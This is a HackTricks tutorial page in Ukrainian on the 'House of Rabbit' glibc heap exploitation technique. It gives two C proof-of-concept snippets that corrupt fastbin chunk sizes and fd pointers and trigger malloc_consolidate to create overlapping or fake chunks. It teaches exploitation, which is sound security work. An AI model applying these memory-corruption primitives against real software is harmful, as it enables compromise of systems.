House of Rabbit
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Вимоги
- Здатність змінювати вказівник fd швидкого бін або розмір: Це означає, що ви можете змінити вказівник вперед для частини в швидкому біні або її розмір.
- Здатність викликати
malloc_consolidate
: Це можна зробити, або виділивши велику частину, або об'єднавши верхню частину, що змушує купу об'єднувати частини.
Цілі
- Створити перекриваючі частини: Щоб одна частина перекривалася з іншою, що дозволяє подальші маніпуляції з купою.
- Підробити фальшиві частини: Щоб обманути аллокатор, змусивши його вважати фальшиву частину легітимною під час операцій з купою.
Кроки атаки
POC 1: Змінити розмір частини швидкого біна
Мета: Створити перекриваючу частину, маніпулюючи розміром частини швидкого біна.
- Крок 1: Виділити частини
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
Ми виділяємо два шматки по 0x40 байт кожен. Ці шматки будуть поміщені в список швидких бінів після звільнення.
- Крок 2: Звільнити шматки
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
Ми звільняємо обидва шматки, додаючи їх до списку fastbin.
- Крок 3: Змінити Розмір Шматка
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
Ми змінюємо метадані розміру chunk1
на 0xa1. Це критично важливий крок, щоб обманути аллокатор під час консолідації.
- Крок 4: Викликати
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Виділення великого блоку викликає функцію malloc_consolidate
, об'єднуючи маленькі блоки в швидкому біні. Маніпульований розмір chunk1
призводить до його перекриття з chunk2
.
Після консолідації chunk1
перекривається з chunk2
, що дозволяє подальшу експлуатацію.
POC 2: Модифікуйте вказівник fd
Мета: Створити фейковий блок, маніпулюючи вказівником fd
швидкого біна.
- Крок 1: Виділити блоки
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Пояснення: Ми виділяємо два шматки, один менший і один більший, щоб налаштувати купу для фейкового шматка.
- Крок 2: Створити фейковий шматок
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
Ми записуємо підроблену метадані частини в chunk2
, щоб змоделювати менші частини.
- Крок 3: Вивільнити
chunk1
free(chunk1); // Frees the chunk at 0x602000
Пояснення: Ми звільняємо chunk1
, додаючи його до списку fastbin.
- Крок 4: Змінити
fd
chunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Пояснення: Ми змінюємо вказівник вперед (fd
) chunk1
, щоб він вказував на наш фейковий шматок всередині chunk2
.
- Крок 5: Виклик
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Виділення великого блоку знову викликає malloc_consolidate
, який обробляє фейковий блок.
Фейковий блок стає частиною списку fastbin, що робить його легітимним блоком для подальшої експлуатації.
Резюме
Техніка House of Rabbit полягає в модифікації розміру блоку fast bin для створення перекриваючих блоків або маніпуляції вказівником fd
для створення фейкових блоків. Це дозволяє зловмисникам підробляти легітимні блоки в купі, що відкриває можливості для різних форм експлуатації. Розуміння та практика цих кроків покращить ваші навички експлуатації купи.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.